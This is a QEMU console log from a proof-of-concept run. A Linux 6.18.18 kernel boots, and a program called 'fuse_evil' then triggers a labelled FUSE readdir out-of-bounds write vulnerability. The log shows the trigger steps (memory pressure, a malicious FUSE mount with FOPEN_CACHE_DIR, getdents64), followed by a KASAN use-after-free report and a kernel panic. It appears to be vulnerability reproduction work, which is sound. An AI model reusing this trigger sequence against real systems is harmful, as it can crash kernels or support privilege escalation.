c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+7EFC8BD0+7EF08BD0 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l[ 0.000000] Linux version 6.18.18 (vscode@e35a0ac465dd) (gcc (Ubuntu 15.2.0-16ubuntu1) 15.2.0, GNU ld (GNU Binutils for Ubuntu) 2.46) #2 SMP PREEMPT_DYNAMIC Fri Jul 3 17:24:53 UTC 2026 [ 0.000000] Command line: console=ttyS0 rdinit=/init panic=1 kasan.fault=panic [ 0.000000] BIOS-provided physical RAM map: [ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable [ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved [ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000007ffdffff] usable [ 0.000000] BIOS-e820: [mem 0x000000007ffe0000-0x000000007fffffff] reserved [ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved [ 0.000000] BIOS-e820: [mem 0x000000fd00000000-0x000000ffffffffff] reserved [ 0.000000] NX (Execute Disable) protection: active [ 0.000000] APIC: Static calls initialized [ 0.000000] SMBIOS 2.8 present. [ 0.000000] DMI: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 0.000000] DMI: Memory slots populated: 1/1 [ 0.000000] tsc: Fast TSC calibration using PIT [ 0.000000] tsc: Detected 3000.117 MHz processor [ 0.021659] last_pfn = 0x7ffe0 max_arch_pfn = 0x400000000 [ 0.022319] MTRR map: 4 entries (3 fixed + 1 variable; max 19), built from 8 variable MTRRs [ 0.022510] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WP UC- WT [ 0.039399] found SMP MP-table at [mem 0x000f5460-0x000f546f] [ 0.050912] RAMDISK: [mem 0x7fe47000-0x7ffdffff] [ 0.051379] ACPI: Early table checksum verification disabled [ 0.051812] ACPI: RSDP 0x00000000000F5280 000014 (v00 BOCHS ) [ 0.052183] ACPI: RSDT 0x000000007FFE2335 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.052988] ACPI: FACP 0x000000007FFE21E9 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053724] ACPI: DSDT 0x000000007FFE0040 0021A9 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.053917] ACPI: FACS 0x000000007FFE0000 000040 [ 0.054070] ACPI: APIC 0x000000007FFE225D 000078 (v03 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054156] ACPI: HPET 0x000000007FFE22D5 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054236] ACPI: WAET 0x000000007FFE230D 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001) [ 0.054369] ACPI: Reserving FACP table memory at [mem 0x7ffe21e9-0x7ffe225c] [ 0.054415] ACPI: Reserving DSDT table memory at [mem 0x7ffe0040-0x7ffe21e8] [ 0.054446] ACPI: Reserving FACS table memory at [mem 0x7ffe0000-0x7ffe003f] [ 0.054476] ACPI: Reserving APIC table memory at [mem 0x7ffe225d-0x7ffe22d4] [ 0.054505] ACPI: Reserving HPET table memory at [mem 0x7ffe22d5-0x7ffe230c] [ 0.054534] ACPI: Reserving WAET table memory at [mem 0x7ffe230d-0x7ffe2334] [ 0.060348] No NUMA configuration found [ 0.060397] Faking a node at [mem 0x0000000000000000-0x000000007ffdffff] [ 0.061223] NODE_DATA(0) allocated [mem 0x7fe43900-0x7fe46fff] [ 0.063138] Zone ranges: [ 0.063176] DMA [mem 0x0000000000001000-0x0000000000ffffff] [ 0.063280] DMA32 [mem 0x0000000001000000-0x000000007ffdffff] [ 0.063318] Normal empty [ 0.063351] Movable zone start for each node [ 0.063382] Early memory node ranges [ 0.063411] node 0: [mem 0x0000000000001000-0x000000000009efff] [ 0.063569] node 0: [mem 0x0000000000100000-0x000000007ffdffff] [ 0.063761] Initmem setup node 0 [mem 0x0000000000001000-0x000000007ffdffff] [ 0.065193] On node 0, zone DMA: 1 pages in unavailable ranges [ 0.068142] On node 0, zone DMA: 97 pages in unavailable ranges [ 0.467039] On node 0, zone DMA32: 32 pages in unavailable ranges [ 0.671603] KernelAddressSanitizer initialized (generic) [ 0.672210] ACPI: PM-Timer IO Port: 0x608 [ 0.673017] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) [ 0.673536] IOAPIC[0]: apic_id 0, version 32, address 0xfec00000, GSI 0-23 [ 0.673753] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) [ 0.674120] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) [ 0.674198] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) [ 0.674299] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) [ 0.674334] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) [ 0.674592] ACPI: Using ACPI (MADT) for SMP configuration information [ 0.674670] ACPI: HPET id: 0x8086a201 base: 0xfed00000 [ 0.675216] CPU topo: Max. logical packages: 1 [ 0.675253] CPU topo: Max. logical dies: 1 [ 0.675277] CPU topo: Max. dies per package: 1 [ 0.675366] CPU topo: Max. threads per core: 1 [ 0.675522] CPU topo: Num. cores per package: 1 [ 0.675549] CPU topo: Num. threads per package: 1 [ 0.675568] CPU topo: Allowing 1 present CPUs plus 0 hotplug CPUs [ 0.676573] PM: hibernation: Registered nosave memory: [mem 0x00000000-0x00000fff] [ 0.676652] PM: hibernation: Registered nosave memory: [mem 0x0009f000-0x000fffff] [ 0.676824] [mem 0x80000000-0xfffbffff] available for PCI devices [ 0.676907] Booting paravirtualized kernel on bare hardware [ 0.677272] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns [ 0.808039] setup_percpu: NR_CPUS:64 nr_cpumask_bits:1 nr_cpu_ids:1 nr_node_ids:1 [ 0.810275] percpu: Embedded 64 pages/cpu s222360 r8192 d31592 u2097152 [ 0.813016] Kernel command line: console=ttyS0 rdinit=/init panic=1 kasan.fault=panic [ 0.814967] printk: log buffer data + meta data: 262144 + 917504 = 1179648 bytes [ 0.816083] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes, linear) [ 0.816361] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes, linear) [ 0.820171] Fallback order for Node 0: 0 [ 0.820484] Built 1 zonelists, mobility grouping on. Total pages: 524158 [ 0.820529] Policy zone: DMA32 [ 0.820774] mem auto-init: stack:all(zero), heap alloc:off, heap free:off [ 0.820845] stackdepot: allocating hash table via alloc_large_system_hash [ 0.820971] stackdepot hash table entries: 1048576 (order: 12, 16777216 bytes, linear) [ 0.851890] stackdepot: allocating space for 8192 stack pools via memblock [ 0.988557] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 [ 1.010079] Dynamic Preempt: voluntary [ 1.017255] rcu: Preemptible hierarchical RCU implementation. [ 1.017287] rcu: RCU event tracing is enabled. [ 1.017317] rcu: RCU restricting CPUs from NR_CPUS=64 to nr_cpu_ids=1. [ 1.017432] Trampoline variant of Tasks RCU enabled. [ 1.017449] Tracing variant of Tasks RCU enabled. [ 1.017562] rcu: RCU calculated value of scheduler-enlistment delay is 100 jiffies. [ 1.017605] rcu: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=1 [ 1.020070] RCU Tasks: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 1.020182] RCU Tasks Trace: Setting shift to 0 and lim to 1 rcu_task_cb_adjust=1 rcu_task_cpu_ids=1. [ 1.479896] NR_IRQS: 4352, nr_irqs: 256, preallocated irqs: 16 [ 1.493252] rcu: srcu_init: Setting srcu_struct sizes based on contention. [ 1.501453] Console: colour VGA+ 80x25 [ 1.503893] printk: legacy console [ttyS0] enabled [ 1.524916] ACPI: Core revision 20250807 [ 1.536437] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns [ 1.542625] APIC: Switch to symmetric I/O mode setup [ 1.552219] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 [ 1.558209] clocksource: tsc-early: mask: 0xffffffffffffffff max_cycles: 0x2b3eb4187c5, max_idle_ns: 440795293085 ns [ 1.559113] Calibrating delay loop (skipped), value calculated using timer frequency.. 6000.23 BogoMIPS (lpj=3000117) [ 1.564918] Last level iTLB entries: 4KB 512, 2MB 255, 4MB 127 [ 1.565154] Last level dTLB entries: 4KB 512, 2MB 255, 4MB 127, 1GB 0 [ 1.565637] mitigations: Enabled attack vectors: user_kernel, user_user, SMT mitigations: auto [ 1.566390] Spectre V2 : Mitigation: Retpolines [ 1.566840] Spectre V1 : Mitigation: usercopy/swapgs barriers and __user pointer sanitization [ 1.567200] Spectre V2 : Spectre v2 / SpectreRSB: Filling RSB on context switch and VMEXIT [ 1.568495] x86/fpu: x87 FPU will use FXSAVE [ 2.299547] Freeing SMP alternatives memory: 52K [ 2.301075] pid_max: default: 32768 minimum: 301 [ 2.310843] LSM: initializing lsm=capability,selinux [ 2.314091] SELinux: Initializing. [ 2.325087] Mount-cache hash table entries: 4096 (order: 3, 32768 bytes, linear) [ 2.325633] Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes, linear) [ 2.479707] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0xf, model: 0x6b, stepping: 0x1) [ 2.502069] Performance Events: PMU not available due to virtualization, using software events only. [ 2.503314] signal: max sigframe size: 1440 [ 2.506264] rcu: Hierarchical SRCU implementation. [ 2.506495] rcu: Max phase no-delay instances is 400. [ 2.531960] smp: Bringing up secondary CPUs ... [ 2.535428] smp: Brought up 1 node, 1 CPU [ 2.536016] smpboot: Total of 1 processors activated (6000.23 BogoMIPS) [ 2.550016] Memory: 1701580K/2096632K available (28106K kernel code, 8962K rwdata, 11980K rodata, 5644K init, 2064K bss, 390876K reserved, 0K cma-reserved) [ 2.565054] devtmpfs: initialized [ 2.620496] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns [ 2.622154] posixtimers hash table entries: 512 (order: 1, 8192 bytes, linear) [ 2.622863] futex hash table entries: 256 (16384 bytes on 1 NUMA nodes, total 16 KiB, linear). [ 2.630291] PM: RTC time: 17:45:37, date: 2026-07-03 [ 2.643164] NET: Registered PF_NETLINK/PF_ROUTE protocol family [ 2.657541] audit: initializing netlink subsys (disabled) [ 2.661601] audit: type=2000 audit(1783100737.114:1): state=initialized audit_enabled=0 res=1 [ 2.677232] thermal_sys: Registered thermal governor 'step_wise' [ 2.678175] cpuidle: using governor menu [ 2.690016] PCI: Using configuration type 1 for base access [ 2.694736] kprobes: kprobe jump-optimization is enabled. All kprobes are optimized if possible. [ 2.708601] HugeTLB: registered 2.00 MiB page size, pre-allocated 0 pages [ 2.708787] HugeTLB: 28 KiB vmemmap can be freed for a 2.00 MiB page [ 2.741496] ACPI: Added _OSI(Module Device) [ 2.741809] ACPI: Added _OSI(Processor Device) [ 2.741972] ACPI: Added _OSI(Processor Aggregator Device) [ 3.869953] ACPI: 1 ACPI AML tables successfully acquired and loaded [ 4.099177] ACPI: Interpreter enabled [ 4.102197] ACPI: PM: (supports S0 S3 S4 S5) [ 4.102464] ACPI: Using IOAPIC for interrupt routing [ 4.104192] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug [ 4.104526] PCI: Using E820 reservations for host bridge windows [ 4.127187] ACPI: Enabled 2 GPEs in block 00 to 0F [ 5.729896] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) [ 5.731503] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI HPX-Type3] [ 5.731888] acpi PNP0A03:00: _OSC: not requesting OS control; OS requires [ExtendedConfig ASPM ClockPM MSI] [ 5.736444] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended configuration space under this bridge [ 5.748501] PCI host bridge to bus 0000:00 [ 5.774365] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] [ 5.774855] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] [ 5.775161] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] [ 5.775542] pci_bus 0000:00: root bus resource [mem 0x80000000-0xfebfffff window] [ 5.775822] pci_bus 0000:00: root bus resource [mem 0x100000000-0x17fffffff window] [ 5.776393] pci_bus 0000:00: root bus resource [bus 00-ff] [ 5.778804] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 conventional PCI endpoint [ 5.808896] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 conventional PCI endpoint [ 5.867587] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 conventional PCI endpoint [ 5.869039] pci 0000:00:01.1: BAR 4 [io 0xc040-0xc04f] [ 5.869422] pci 0000:00:01.1: BAR 0 [io 0x01f0-0x01f7]: legacy IDE quirk [ 5.869753] pci 0000:00:01.1: BAR 1 [io 0x03f6]: legacy IDE quirk [ 5.869998] pci 0000:00:01.1: BAR 2 [io 0x0170-0x0177]: legacy IDE quirk [ 5.870305] pci 0000:00:01.1: BAR 3 [io 0x0376]: legacy IDE quirk [ 5.888541] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 conventional PCI endpoint [ 5.890056] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI [ 5.890390] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB [ 5.931306] pci 0000:00:02.0: [1234:1111] type 00 class 0x030000 conventional PCI endpoint [ 5.932329] pci 0000:00:02.0: BAR 0 [mem 0xfd000000-0xfdffffff pref] [ 5.932791] pci 0000:00:02.0: BAR 2 [mem 0xfebb0000-0xfebb0fff] [ 5.933019] pci 0000:00:02.0: ROM [mem 0xfeba0000-0xfebaffff pref] [ 5.934550] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] [ 5.974285] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000 conventional PCI endpoint [ 5.975172] pci 0000:00:03.0: BAR 0 [mem 0xfeb80000-0xfeb9ffff] [ 5.975478] pci 0000:00:03.0: BAR 1 [io 0xc000-0xc03f] [ 5.975773] pci 0000:00:03.0: ROM [mem 0xfeb00000-0xfeb7ffff pref] [ 6.736468] ACPI: PCI: Interrupt link LNKA configured for IRQ 10 [ 6.783354] ACPI: PCI: Interrupt link LNKB configured for IRQ 10 [ 6.840864] ACPI: PCI: Interrupt link LNKC configured for IRQ 11 [ 6.880594] ACPI: PCI: Interrupt link LNKD configured for IRQ 11 [ 6.900895] ACPI: PCI: Interrupt link LNKS configured for IRQ 9 [ 7.018398] iommu: Default domain type: Translated [ 7.018799] iommu: DMA domain TLB invalidation policy: lazy mode [ 7.037139] SCSI subsystem initialized [ 7.054679] ACPI: bus type USB registered [ 7.060169] usbcore: registered new interface driver usbfs [ 7.064003] usbcore: registered new interface driver hub [ 7.067400] usbcore: registered new device driver usb [ 7.072110] pps_core: LinuxPPS API ver. 1 registered [ 7.072707] pps_core: Software ver. 5.3.6 - Copyright 2005-2007 Rodolfo Giometti [ 7.076248] PTP clock support registered [ 7.091616] Advanced Linux Sound Architecture Driver Initialized. [ 7.152000] NetLabel: Initializing [ 7.152431] NetLabel: domain hash size = 128 [ 7.152575] NetLabel: protocols = UNLABELED CIPSOv4 CALIPSO [ 7.155464] NetLabel: unlabeled traffic allowed by default [ 7.174437] PCI: Using ACPI for IRQ routing [ 7.186707] pci 0000:00:02.0: vgaarb: setting as boot VGA device [ 7.186707] pci 0000:00:02.0: vgaarb: bridge control possible [ 7.186707] pci 0000:00:02.0: vgaarb: VGA device added: decodes=io+mem,owns=io+mem,locks=none [ 7.187753] vgaarb: loaded [ 7.198813] hpet: 3 channels of 0 reserved for per-cpu timers [ 7.200124] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 [ 7.200505] hpet0: 3 comparators, 64-bit 100.000000 MHz counter [ 7.213513] clocksource: Switched to clocksource tsc-early [ 7.257912] VFS: Disk quotas dquot_6.6.0 [ 7.258618] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes) [ 7.305990] pnp: PnP ACPI init [ 7.459717] pnp: PnP ACPI: found 6 devices [ 7.935316] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns [ 7.942122] NET: Registered PF_INET protocol family [ 7.946862] IP idents hash table entries: 32768 (order: 6, 262144 bytes, linear) [ 8.004875] tcp_listen_portaddr_hash hash table entries: 1024 (order: 2, 16384 bytes, linear) [ 8.005478] Table-perturb hash table entries: 65536 (order: 6, 262144 bytes, linear) [ 8.006138] TCP established hash table entries: 16384 (order: 5, 131072 bytes, linear) [ 8.007595] TCP bind hash table entries: 16384 (order: 7, 524288 bytes, linear) [ 8.010377] TCP: Hash tables configured (established 16384 bind 16384) [ 8.013729] UDP hash table entries: 1024 (order: 4, 65536 bytes, linear) [ 8.015344] UDP-Lite hash table entries: 1024 (order: 4, 65536 bytes, linear) [ 8.031280] NET: Registered PF_UNIX/PF_LOCAL protocol family [ 8.051483] RPC: Registered named UNIX socket transport module. [ 8.052035] RPC: Registered udp transport module. [ 8.052210] RPC: Registered tcp transport module. [ 8.052347] RPC: Registered tcp-with-tls transport module. [ 8.052494] RPC: Registered tcp NFSv4.1 backchannel transport module. [ 8.091900] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] [ 8.092215] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] [ 8.092402] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] [ 8.092589] pci_bus 0000:00: resource 7 [mem 0x80000000-0xfebfffff window] [ 8.092877] pci_bus 0000:00: resource 8 [mem 0x100000000-0x17fffffff window] [ 8.106637] pci 0000:00:01.0: PIIX3: Enabling Passive Release [ 8.107286] pci 0000:00:00.0: Limiting direct PCI/PCI transfers [ 8.108073] PCI: CLS 0 bytes, default 64 [ 8.140544] Unpacking initramfs... [ 8.378675] Initialise system trusted keyrings [ 8.385930] workingset: timestamp_bits=56 max_order=19 bucket_order=0 [ 8.441296] NFS: Registering the id_resolver key type [ 8.442209] Key type id_resolver registered [ 8.442384] Key type id_legacy registered [ 8.449054] 9p: Installing v9fs 9p2000 file system support [ 8.932232] Freeing initrd memory: 1636K [ 8.934255] Key type asymmetric registered [ 8.934504] Asymmetric key parser 'x509' registered [ 8.937068] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251) [ 8.938474] io scheduler mq-deadline registered [ 8.938689] io scheduler kyber registered [ 8.950574] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 [ 8.959911] ACPI: button: Power Button [PWRF] [ 8.975854] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled [ 8.989377] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A [ 9.037428] Non-volatile memory driver v1.3 [ 9.037838] Linux agpgart interface v0.103 [ 9.045371] ACPI: bus type drm_connector registered [ 9.130172] tsc: Refined TSC clocksource calibration: 3000.111 MHz [ 9.130961] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x2b3eae9de52, max_idle_ns: 440795326596 ns [ 9.131619] clocksource: Switched to clocksource tsc [ 9.215389] loop: module loaded [ 9.275753] scsi host0: ata_piix [ 9.288868] scsi host1: ata_piix [ 9.294959] ata1: PATA max MWDMA2 cmd 0x1f0 ctl 0x3f6 bmdma 0xc040 irq 14 lpm-pol 0 [ 9.295262] ata2: PATA max MWDMA2 cmd 0x170 ctl 0x376 bmdma 0xc048 irq 15 lpm-pol 0 [ 9.331367] e100: Intel(R) PRO/100 Network Driver [ 9.331622] e100: Copyright(c) 1999-2006 Intel Corporation [ 9.333168] e1000: Intel(R) PRO/1000 Network Driver [ 9.333343] e1000: Copyright (c) 1999-2006 Intel Corporation. [ 9.458472] ata2: found unknown device (class 0) [ 9.468002] ata2.00: ATAPI: QEMU DVD-ROM, 2.5+, max UDMA/100 [ 9.498310] scsi 1:0:0:0: CD-ROM QEMU QEMU DVD-ROM 2.5+ PQ: 0 ANSI: 5 [ 9.543384] sr 1:0:0:0: [sr0] scsi3-mmc drive: 4x/4x cd/rw xa/form2 tray [ 9.544281] cdrom: Uniform CD-ROM driver Revision: 3.20 [ 9.638194] sr 1:0:0:0: Attached scsi generic sg0 type 5 [ 9.943376] ACPI: \_SB_.LNKC: Enabled at IRQ 11 [ 10.256368] e1000 0000:00:03.0 eth0: (PCI:33MHz:32-bit) 52:54:00:12:34:56 [ 10.257501] e1000 0000:00:03.0 eth0: Intel(R) PRO/1000 Network Connection [ 10.260671] e1000e: Intel(R) PRO/1000 Network Driver [ 10.261938] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. [ 10.263575] sky2: driver version 1.30 [ 10.281582] usbcore: registered new interface driver usblp [ 10.284661] usbcore: registered new interface driver usb-storage [ 10.288554] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 [ 10.295870] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 10.296458] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 10.315128] rtc_cmos 00:05: RTC can wake from S4 [ 10.339202] rtc_cmos 00:05: registered as rtc0 [ 10.343065] rtc_cmos 00:05: alarms up to one day, y3k, 242 bytes nvram, hpet irqs [ 10.352476] device-mapper: ioctl: 4.50.0-ioctl (2025-04-28) initialised: dm-devel@lists.linux.dev [ 10.353506] amd_pstate: the _CPC object is not present in SBIOS or ACPI disabled [ 10.355275] hid: raw HID events driver (C) Jiri Kosina [ 10.382177] usbcore: registered new interface driver usbhid [ 10.382492] usbhid: USB HID core driver [ 10.411028] Initializing XFRM netlink socket [ 10.413054] NET: Registered PF_INET6 protocol family [ 10.436106] Segment Routing with IPv6 [ 10.437333] In-situ OAM (IOAM) with IPv6 [ 10.439551] sit: IPv6, IPv4 and MPLS over IPv4 tunneling driver [ 10.456161] NET: Registered PF_PACKET protocol family [ 10.459584] 9pnet: Installing 9P2000 support [ 10.461280] Key type dns_resolver registered [ 10.471088] IPI shorthand broadcast: enabled [ 10.753116] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input2 [ 10.779106] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input3 [ 11.269377] sched_clock: Marking stable (11217065007, 51714636)->(11283785904, -15006261) [ 11.279314] registered taskstats version 1 [ 11.279872] Loading compiled-in X.509 certificates [ 11.673199] Demotion targets for Node 0: null [ 11.681516] PM: Magic number: 2:271:794 [ 11.682365] netconsole: network logging started [ 11.687816] cfg80211: Loading compiled-in X.509 certificates for regulatory database [ 11.702978] kworker/u4:1 (51) used greatest stack depth: 29312 bytes left [ 11.727060] Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' [ 11.733049] Loaded X.509 cert 'wens: 61c038651aabdcf94bd0ac7ff06c7248db18c600' [ 11.735468] ALSA device list: [ 11.735658] No soundcards found. [ 11.743492] faux_driver regulatory: Direct firmware load for regulatory.db failed with error -2 [ 11.746487] cfg80211: failed to load regulatory.db [ 11.827449] Freeing unused kernel image (initmem) memory: 5644K [ 11.828426] Write protecting the kernel read-only data: 40960k [ 11.833683] Freeing unused kernel image (text/rodata gap) memory: 564K [ 11.835172] Freeing unused kernel image (rodata/data gap) memory: 308K [ 12.421492] x86/mm: Checked W+X mappings: passed, no W+X pages found. [ 12.423177] Run /init as init process [ 12.586088] busybox (54) used greatest stack depth: 27832 bytes left [ 12.804507] fuse: init (API version 7.45) [ 12.824387] busybox (58) used greatest stack depth: 27680 bytes left CVE-2026-31694 FUSE readdir cache OOB write trigger kernel: 6.18.18 [ 12.947428] insmod (63) used greatest stack depth: 27616 bytes left [fuse_evil] opened /dev/fuse (fd=3) [fuse_evil] daemon loop started (pid=64) [fuse_evil] applying memory pressure (allocating and freeing 100MB)... [fuse_evil] memory pressure applied [fuse_evil] mounting FUSE at /mnt/fuse (opts: fd=3,rootmode=0040000,user_id=0,group_id=0) [fuse_evil] FUSE mounted successfully [fuse_evil] opcode=26 unique=2 nodeid=0 len=104 [fuse_evil] FUSE_INIT response sent (max_pages=256) [fuse_evil] opcode=27 unique=4 nodeid=1 len=48 [fuse_evil] FUSE_OPENDIR response sent (FOPEN_CACHE_DIR set)[fuse_evil] opened /mnt/fuse (fd=4) [fuse_evil] calling getdents64 (bufsize=16384)... [fuse_evil] opcode=3 unique=6 nodeid=1 len=56 [fuse_evil] FUSE_GETATTR response sent for nodeid=1 [fuse_evil] opcode=28 unique=8 nodeid=1 len=80 [fuse_evil] FUSE_READDIR offset=0 size=16384 [ 13.568045] ================================================================== [ 13.568538] BUG: KASAN: use-after-free in fuse_emit+0x2e3/0x490 [fuse] [ 13.569492] Write of size 4120 at addr ffff88801457b000 by task fuse_evil/59 [ 13.569741] [ 13.570314] CPU: 0 UID: 0 PID: 59 Comm: fuse_evil Not tainted 6.18.18 #2 PREEMPT(voluntary) [ 13.570516] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 13.570654] Call Trace: [ 13.570756] [ 13.570868] dump_stack_lvl+0x4d/0x70 [ 13.571060] print_report+0x170/0x4f3 [ 13.571104] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 13.571151] ? __virt_addr_valid+0xe7/0x1d0 [ 13.571195] kasan_report+0xda/0x110 [ 13.571232] ? fuse_emit+0x2e3/0x490 [fuse] [ 13.571478] ? fuse_emit+0x2e3/0x490 [fuse] [ 13.571745] kasan_check_range+0x125/0x200 [ 13.571792] __asan_memcpy+0x3c/0x60 [ 13.571844] fuse_emit+0x2e3/0x490 [fuse] [ 13.572137] fuse_readdir_uncached+0x7ab/0xc40 [fuse] [ 13.572391] ? fuse_do_getattr+0x270/0x3a0 [fuse] [ 13.572633] ? __pfx_fuse_readdir_uncached+0x10/0x10 [fuse] [ 13.572930] ? __pfx_fuse_do_getattr+0x10/0x10 [fuse] [ 13.573180] ? up_read+0x1b/0xa0 [ 13.573244] ? sysvec_apic_timer_interrupt+0xe/0x80 [ 13.573310] ? __pfx_down_read_killable+0x10/0x10 [ 13.573345] ? mutex_lock+0x80/0xd0 [ 13.573372] ? selinux_file_permission+0x201/0x260 [ 13.573419] iterate_dir+0xe6/0x250 [ 13.573456] ? fdget_pos+0x132/0x210 [ 13.573491] ? __hrtimer_next_event_base+0xee/0x100 [ 13.573535] __x64_sys_getdents64+0xea/0x1a0 [ 13.573572] ? __pfx___x64_sys_getdents64+0x10/0x10 [ 13.573608] ? __pfx_filldir64+0x10/0x10 [ 13.573647] ? schedule+0x54/0x140 [ 13.573701] do_syscall_64+0xa4/0x2f0 [ 13.573748] entry_SYSCALL_64_after_hwframe+0x77/0x7f [ 13.573865] RIP: 0033:0x426e9d [ 13.574057] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 f0 ff ff ff f7 d8 64 89 01 48 [ 13.574136] RSP: 002b:00007ffc66dd0a28 EFLAGS: 00000246 ORIG_RAX: 00000000000000d9 [ 13.574220] RAX: ffffffffffffffda RBX: 0000000000000004 RCX: 0000000000426e9d [ 13.574255] RDX: 0000000000004000 RSI: 00007ffc66dd2b40 RDI: 0000000000000004 [ 13.574286] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000 [ 13.574316] R10: 0000000000000001 R11: 0000000000000246 R12: 00007ffc66dd2b40 [ 13.574346] R13: 00007ffc66dd6cd8 R14: 00007ffc66dd0a40 R15: 00000000004b4100 [ 13.574406] [ 13.574463] [ 13.579783] The buggy address belongs to the physical page: [ 13.580156] page: refcount:3 mapcount:0 mapping:(____ptrval____) index:0x1 pfn:0x1457b [ 13.580628] aops:empty_aops ino:1 dentry name(?):"/" [ 13.580933] flags: 0x10000000000000d(locked|referenced|uptodate|node=0|zone=1) [ 13.581593] raw: 010000000000000d 0000000000000000 dead000000000122 ffff888001564160 [ 13.581876] raw: 0000000000000001 0000000000000000 00000003ffffffff 0000000000000000 [ 13.582163] page dumped because: kasan: bad access detected [ 13.582302] [ 13.582357] Memory state around the buggy address: [ 13.582584] ffff88801457bf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 13.582821] ffff88801457bf80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 13.583031] >ffff88801457c000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 13.583221] ^ [ 13.583387] ffff88801457c080: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 13.583547] ffff88801457c100: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 13.583761] ================================================================== [ 13.584417] Kernel panic - not syncing: kasan.fault=panic set ... [ 13.584810] CPU: 0 UID: 0 PID: 59 Comm: fuse_evil Not tainted 6.18.18 #2 PREEMPT(voluntary) [ 13.585059] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 13.585301] Call Trace: [ 13.585387] [ 